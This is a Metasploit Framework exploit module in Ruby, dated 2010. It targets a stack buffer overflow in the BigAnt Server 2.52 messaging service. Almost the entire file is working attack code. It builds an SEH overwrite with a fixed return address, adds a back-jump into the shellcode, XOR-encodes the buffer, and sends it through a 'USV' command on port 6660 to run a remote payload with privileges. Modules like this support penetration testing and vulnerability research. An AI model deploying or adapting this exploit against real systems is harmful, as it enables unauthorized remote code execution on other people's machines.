##
# $Id: bigant_server_usv.rb 8071 2010-01-05 11:49:12Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server 2.52 USV Buffer Overflow',
      'Description'    => %q{
        This exploits a stack overflow in the BigAnt Messaging Service,
        part of the BigAnt Server product suite. This module was tested
        successfully against version 2.52.

        NOTE: The AntServer service does not restart, you only get one shot.
      },
      'Author'    =>
        [
          'Lincoln',
          'DouBle_Zer0',
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 8071 $',
      'References'     =>
        [
          [ 'OSVDB', '61386' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/10765' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/10973' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => (218+709+35),
          'BadChars' => "\x2a\x20\x27\x0a\x0f",
          # pre-xor with 0x2a:
          #'BadChars' => "\x00\x0a\x0d\x20\x25",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Dec 29 2009'))

      register_options([Opt::RPORT(6660)], self.class)
  end

  def exploit
    connect

    sploit = ""
    sploit << payload.encoded
    sploit << generate_seh_record(target.ret)
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
    sploit << rand_text_alphanumeric(3)
    sploit << [0xdeadbeef].pack('V') * 3

    # the buffer gets xor'd with 0x2a !
    0.upto(sploit.length-1) do |idx|
      sploit[idx] = sploit[idx] ^ 0x2a
    end

    print_status("Trying target #{target.name}...")
    sock.put("USV " + sploit + "\r\n\r\n")

    handler
    disconnect
  end

end